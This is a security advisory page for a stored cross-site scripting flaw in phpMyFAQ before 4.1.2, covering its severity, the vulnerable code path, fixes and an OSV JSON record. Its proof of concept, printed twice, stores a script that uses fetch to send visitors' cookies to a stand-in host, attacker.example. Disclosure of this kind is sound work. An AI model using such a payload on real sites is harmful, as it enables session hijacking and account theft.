CVE-2026-46363: Phpmyfaq/phpmyfaq Cross-Site Scripting Vulnerability

MODERATE
Advisory Identifier: GHSA-f5p7-2c9q-8896
CVSS 5.4
CWE-79
Published
Advisory Summary

CVE-2026-46363 is a MODERATE (CVSS 5.4) cross-site scripting vulnerability (CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')) affecting Phpmyfaq/phpmyfaq libraries in the Packagist ecosystem. The issue involves phpmyfaq has stored xss in faq question/answer via encode-decode bypass of removeattributes() sanitization. Remediation is available by upgrading affected packages to version 4.1.2.

CVE-2026-46363 at a Glance

CVE Identifier CVE-2026-46363
GHSA Identifier GHSA-f5p7-2c9q-8896
Severity MODERATE
CVSS v3.1 Base Score 5.4
CWE Classification CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Affected Product Phpmyfaq/phpmyfaq
Package Ecosystem Packagist
Published Date
Last Updated

Security Impact

CVSS: 5.4

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction Required (UI:R)
Scope Changed (S:C)
Confidentiality Low (C:L)
Integrity Low (I:L)
Availability None (A:N)

How to Fix CVE-2026-46363

To remediate this vulnerability, upgrade all affected Phpmyfaq/phpmyfaq dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

phpmyfaq/phpmyfaq fixed: 4.1.2
Upgrade phpmyfaq/phpmyfaq to 4.1.2
thorsten/phpmyfaq fixed: 4.1.2
Upgrade thorsten/phpmyfaq to 4.1.2
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for phpmyfaq/phpmyfaq

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-46363, inspect your project dependencies for Phpmyfaq/phpmyfaq:

inspect dependencies for phpmyfaq/phpmyfaq

Analyze the terminal output to locate any version of Phpmyfaq/phpmyfaq in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 4.1.2), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'), where the product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. In Phpmyfaq/phpmyfaq, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary The FAQ creation and update endpoints in phpMyFAQ apply `FILTER_SANITIZE_SPECIAL_CHARS` (which HTML-encodes input), then immediately call `html_entity_decode()` which reverses the encoding, followed by `Filter::removeAttributes()` which only strips HTML attributes — not tags. This allows `<script>`, `<iframe>`, `<object>`, and `<embed>` tags to be stored in the database and rendered unescaped via `{{ answer|raw }}` and `{{ question|raw }}` in the Twig template, causing JavaScript execution in every visitor's browser. ## Details **Vulnerable code path (FAQ create — `FaqController.php`):** At line 120, the answer content is filtered: ```php $content = Filter::filterVar($data->answer, FILTER_SANITIZE_SPECIAL_CHARS); ``` `Filter::filterVar()` calls `filterSanitizeString()` (`Filter.php:135-144`) which applies `htmlspecialchars()`, converting `<script>` to `&lt;script&gt;`. The regex `/\x00|<[^>]*>?/` then finds no literal angle brackets to strip. At lines 150-154, the encoded content is decoded and passed to attribute-only sanitization: ```php ->setAnswer(Filter::removeAttributes(html_entity_decode( (string) $content, ENT_QUOTES | ENT_HTML5, encoding: 'UTF-8', ))) ``` `html_entity_decode()` converts `&lt;script&gt;` back to `<script>`, fully reversing the earlier sanitization. `Filter::removeAttributes()` (`Filter.php:150-196`) only matches and strips `attribute=value` patterns from a known list of HTML attributes (event handlers like `onclick`, `onerror`, etc.) but performs **no tag-level filtering**. A `<script>` tag with no attributes passes through completely unchanged. The identical pattern exists in the update endpoint at lines 389-398. **Rendering sink (`faq.twig`):** ```twig <h2 class="mb-4 border-bottom">{{ question | raw }}</h2> <article class="pmf-faq-body pb-4 mb-4 border-bottom">{{ answer|raw }}</article> ``` The `|raw` filter disables Twig's auto-escaping, causing the stored `<script>` tag to execute in every visitor's browser. Additional rendering sinks exist in `search.twig` (line 75, 77) where search results also render FAQ content with `|raw`. ## PoC **Prerequisites:** Authenticated session with `FAQ_ADD` permission and a valid CSRF token. **Step 1: Create a malicious FAQ** ```bash curl -X POST 'https://target/admin/api/faq/create' \ -H 'Cookie: PHPSESSID=<admin_session>' \ -H 'Content-Type: application/json' \ -d '{ "data": { "pmf-csrf-token": "<valid_csrf_token>", "question": "Harmless FAQ Title", "answer": "Helpful content<script>fetch(\"https://attacker.example/steal?c=\"+document.cookie)</script>", "categories[]": 1, "lang": "en", "tags": "", "active": "yes", "sticky": "no", "keywords": "test", "author": "Admin", "email": "admin@example.com", "comment": "n", "changed": "Initial", "notes": "", "serpTitle": "Harmless FAQ", "serpDescription": "Test", "openQuestionId": 0, "notifyEmail": "", "notifyUser": "", "recordDateHandling": "updateDate" } }' ``` **Expected response:** `200 OK` with the new FAQ ID. **Step 2: Verify XSS execution** Navigate to the public FAQ page (e.g., `https://target/content/1/{faqId}/en/harmless-faq-title.html`). The `<script>` tag in the answer body executes, sending the visitor's cookies to the attacker's server. ## Impact - **Session hijacking:** An attacker with FAQ creation privileges can steal session cookies from any user (including administrators) who views the FAQ, enabling full account takeover. - **Phishing:** The injected script can modify page content to display fake login forms or redirect users to malicious sites. - **Worm propagation:** If the attacker captures an admin session, they can create additional malicious FAQs automatically, spreading the attack. - **Scope:** Every unauthenticated visitor who views the compromised FAQ is affected. The XSS also fires in search results via `search.twig`. ## Recommended Fix Replace the encode→decode→removeAttributes chain with a proper HTML sanitizer that operates on the DOM level. Use a library like [HTML Purifier](http://htmlpurifier.org/) or Symfony's [HtmlSanitizer](https://symfony.com/doc/current/html_sanitizer.html) component. **Immediate fix — add tag-level filtering to `removeAttributes()`** (`Filter.php`): ```php public static function removeAttributes(string $html = ''): string { // Strip dangerous HTML tags entirely $dangerousTags = ['script', 'iframe', 'object', 'embed', 'applet', 'form', 'base', 'link', 'meta']; foreach ($dangerousTags as $tag) { $html = preg_replace('/<' . $tag . '\b[^>]*>.*?<\/' . $tag . '>/is', '', $html); $html = preg_replace('/<' . $tag . '\b[^>]*\/?>/is', '', $html); } // Also sanitize javascript: URIs in href/src attributes $html = preg_replace('/\b(href|src)\s*=\s*["\']?\s*javascript:/i', '$1="', $html); $keep = [ 'href', 'src', 'title', 'alt', 'class', 'style', 'id', 'name', 'size', 'dir', 'rel', 'rev', 'target', 'width', 'height', 'controls', ]; // ... rest of existing attribute removal logic ``` **Recommended long-term fix:** Replace custom sanitization with Symfony's HtmlSanitizer, which is already a project dependency ecosystem: ```php use Symfony\Component\HtmlSanitizer\HtmlSanitizer; use Symfony\Component\HtmlSanitizer\HtmlSanitizerConfig; $config = (new HtmlSanitizerConfig()) ->allowSafeElements() ->blockElement('script') ->blockElement('iframe') ->blockElement('object') ->blockElement('embed'); $sanitizer = new HtmlSanitizer($config); $cleanAnswer = $sanitizer->sanitize($rawAnswer); ```

CVE-2026-46363 Affected Phpmyfaq/phpmyfaq Versions

2 component(s)
Fixed Versions:
4.1.2
Product / Package Ecosystem Affected Versions Fixed Version
phpmyfaq/phpmyfaq
Packagist
< 4.1.2
4.1.2
thorsten/phpmyfaq
Packagist
< 4.1.2
4.1.2

References

Frequently Asked Questions

What is CVE-2026-46363?
CVE-2026-46363 is a security vulnerability in Phpmyfaq/phpmyfaq involving phpMyFAQ has Stored XSS in FAQ Question/Answer via Encode-Decode Bypass of removeAttributes() Sanitization under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting').
Which Phpmyfaq/phpmyfaq versions are affected?
Affected versions include releases prior to 4.1.2 across affected packages: phpmyfaq/phpmyfaq, thorsten/phpmyfaq.
What version fixes CVE-2026-46363?
Upgrading to 4.1.2 (or the latest patched release for your respective branch) resolves the vulnerability.
Is phpmyfaq/phpmyfaq affected?
Yes, phpmyfaq/phpmyfaq is affected in releases prior to 4.1.2. Upgrade your dependency to 4.1.2 or later.
Is thorsten/phpmyfaq affected?
Yes, thorsten/phpmyfaq is affected in releases prior to 4.1.2. Upgrade your dependency to 4.1.2 or later.
What is the CVSS score of CVE-2026-46363?
CVE-2026-46363 has a CVSS v3.1 base score of 5.4 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N.
What CWE is associated with CVE-2026-46363?
CVE-2026-46363 is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') (The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.).
How can I check Packagist dependencies for CVE-2026-46363?
Run the dependency tree command: 'inspect dependencies for phpmyfaq/phpmyfaq'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-f5p7-2c9q-8896",
  "modified" : "2026-06-09T00:00:30Z",
  "published" : "2026-05-06T20:18:02Z",
  "aliases" : [ "CVE-2026-46363" ],
  "summary" : "phpMyFAQ has Stored XSS in FAQ Question/Answer via Encode-Decode Bypass of removeAttributes() Sanitization",
  "details" : "## Summary\n\nThe FAQ creation and update endpoints in phpMyFAQ apply `FILTER_SANITIZE_SPECIAL_CHARS` (which HTML-encodes input), then immediately call `html_entity_decode()` which reverses the encoding, followed by `Filter::removeAttributes()` which only strips HTML attributes — not tags. This allows `<script>`, `<iframe>`, `<object>`, and `<embed>` tags to be stored in the database and rendered unescaped via `{{ answer|raw }}` and `{{ question|raw }}` in the Twig template, causing JavaScript execution in every visitor's browser.\n\n## Details\n\n**Vulnerable code path (FAQ create — `FaqController.php`):**\n\nAt line 120, the answer content is filtered:\n```php\n$content = Filter::filterVar($data->answer, FILTER_SANITIZE_SPECIAL_CHARS);\n```\n\n`Filter::filterVar()` calls `filterSanitizeString()` (`Filter.php:135-144`) which applies `htmlspecialchars()`, converting `<script>` to `&lt;script&gt;`. The regex `/\\x00|<[^>]*>?/` then finds no literal angle brackets to strip.\n\nAt lines 150-154, the encoded content is decoded and passed to attribute-only sanitization:\n```php\n->setAnswer(Filter::removeAttributes(html_entity_decode(\n    (string) $content,\n    ENT_QUOTES | ENT_HTML5,\n    encoding: 'UTF-8',\n)))\n```\n\n`html_entity_decode()` converts `&lt;script&gt;` back to `<script>`, fully reversing the earlier sanitization. `Filter::removeAttributes()` (`Filter.php:150-196`) only matches and strips `attribute=value` patterns from a known list of HTML attributes (event handlers like `onclick`, `onerror`, etc.) but performs **no tag-level filtering**. A `<script>` tag with no attributes passes through completely unchanged.\n\nThe identical pattern exists in the update endpoint at lines 389-398.\n\n**Rendering sink (`faq.twig`):**\n\n```twig\n<h2 class=\"mb-4 border-bottom\">{{ question | raw }}</h2>\n<article class=\"pmf-faq-body pb-4 mb-4 border-bottom\">{{ answer|raw }}</article>\n```\n\nThe `|raw` filter disables Twig's auto-escaping, causing the stored `<script>` tag to execute in every visitor's browser.\n\nAdditional rendering sinks exist in `search.twig` (line 75, 77) where search results also render FAQ content with `|raw`.\n\n## PoC\n\n**Prerequisites:** Authenticated session with `FAQ_ADD` permission and a valid CSRF token.\n\n**Step 1: Create a malicious FAQ**\n```bash\ncurl -X POST 'https://target/admin/api/faq/create' \\\n  -H 'Cookie: PHPSESSID=<admin_session>' \\\n  -H 'Content-Type: application/json' \\\n  -d '{\n    \"data\": {\n      \"pmf-csrf-token\": \"<valid_csrf_token>\",\n      \"question\": \"Harmless FAQ Title\",\n      \"answer\": \"Helpful content<script>fetch(\\\"https://attacker.example/steal?c=\\\"+document.cookie)</script>\",\n      \"categories[]\": 1,\n      \"lang\": \"en\",\n      \"tags\": \"\",\n      \"active\": \"yes\",\n      \"sticky\": \"no\",\n      \"keywords\": \"test\",\n      \"author\": \"Admin\",\n      \"email\": \"admin@example.com\",\n      \"comment\": \"n\",\n      \"changed\": \"Initial\",\n      \"notes\": \"\",\n      \"serpTitle\": \"Harmless FAQ\",\n      \"serpDescription\": \"Test\",\n      \"openQuestionId\": 0,\n      \"notifyEmail\": \"\",\n      \"notifyUser\": \"\",\n      \"recordDateHandling\": \"updateDate\"\n    }\n  }'\n```\n\n**Expected response:** `200 OK` with the new FAQ ID.\n\n**Step 2: Verify XSS execution**\n\nNavigate to the public FAQ page (e.g., `https://target/content/1/{faqId}/en/harmless-faq-title.html`). The `<script>` tag in the answer body executes, sending the visitor's cookies to the attacker's server.\n\n## Impact\n\n- **Session hijacking:** An attacker with FAQ creation privileges can steal session cookies from any user (including administrators) who views the FAQ, enabling full account takeover.\n- **Phishing:** The injected script can modify page content to display fake login forms or redirect users to malicious sites.\n- **Worm propagation:** If the attacker captures an admin session, they can create additional malicious FAQs automatically, spreading the attack.\n- **Scope:** Every unauthenticated visitor who views the compromised FAQ is affected. The XSS also fires in search results via `search.twig`.\n\n## Recommended Fix\n\nReplace the encode→decode→removeAttributes chain with a proper HTML sanitizer that operates on the DOM level. Use a library like [HTML Purifier](http://htmlpurifier.org/) or Symfony's [HtmlSanitizer](https://symfony.com/doc/current/html_sanitizer.html) component.\n\n**Immediate fix — add tag-level filtering to `removeAttributes()`** (`Filter.php`):\n\n```php\npublic static function removeAttributes(string $html = ''): string\n{\n    // Strip dangerous HTML tags entirely\n    $dangerousTags = ['script', 'iframe', 'object', 'embed', 'applet', 'form', 'base', 'link', 'meta'];\n    foreach ($dangerousTags as $tag) {\n        $html = preg_replace('/<' . $tag . '\\b[^>]*>.*?<\\/' . $tag . '>/is', '', $html);\n        $html = preg_replace('/<' . $tag . '\\b[^>]*\\/?>/is', '', $html);\n    }\n\n    // Also sanitize javascript: URIs in href/src attributes\n    $html = preg_replace('/\\b(href|src)\\s*=\\s*[\"\\']?\\s*javascript:/i', '$1=\"', $html);\n\n    $keep = [\n        'href', 'src', 'title', 'alt', 'class', 'style', 'id',\n        'name', 'size', 'dir', 'rel', 'rev', 'target', 'width',\n        'height', 'controls',\n    ];\n    // ... rest of existing attribute removal logic\n```\n\n**Recommended long-term fix:** Replace custom sanitization with Symfony's HtmlSanitizer, which is already a project dependency ecosystem:\n\n```php\nuse Symfony\\Component\\HtmlSanitizer\\HtmlSanitizer;\nuse Symfony\\Component\\HtmlSanitizer\\HtmlSanitizerConfig;\n\n$config = (new HtmlSanitizerConfig())\n    ->allowSafeElements()\n    ->blockElement('script')\n    ->blockElement('iframe')\n    ->blockElement('object')\n    ->blockElement('embed');\n\n$sanitizer = new HtmlSanitizer($config);\n$cleanAnswer = $sanitizer->sanitize($rawAnswer);\n```",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "phpmyfaq/phpmyfaq"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "4.1.2"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 4.1.1"
    }
  }, {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "thorsten/phpmyfaq"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "4.1.2"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 4.1.1"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-f5p7-2c9q-8896"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-46363"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/thorsten/phpMyFAQ"
  }, {
    "type" : "WEB",
    "url" : "https://www.vulncheck.com/advisories/phpmyfaq-stored-xss-in-faq-question-answer-via-encode-decode-bypass"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-79" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-06T20:18:02Z",
    "nvd_published_at" : null
  }
}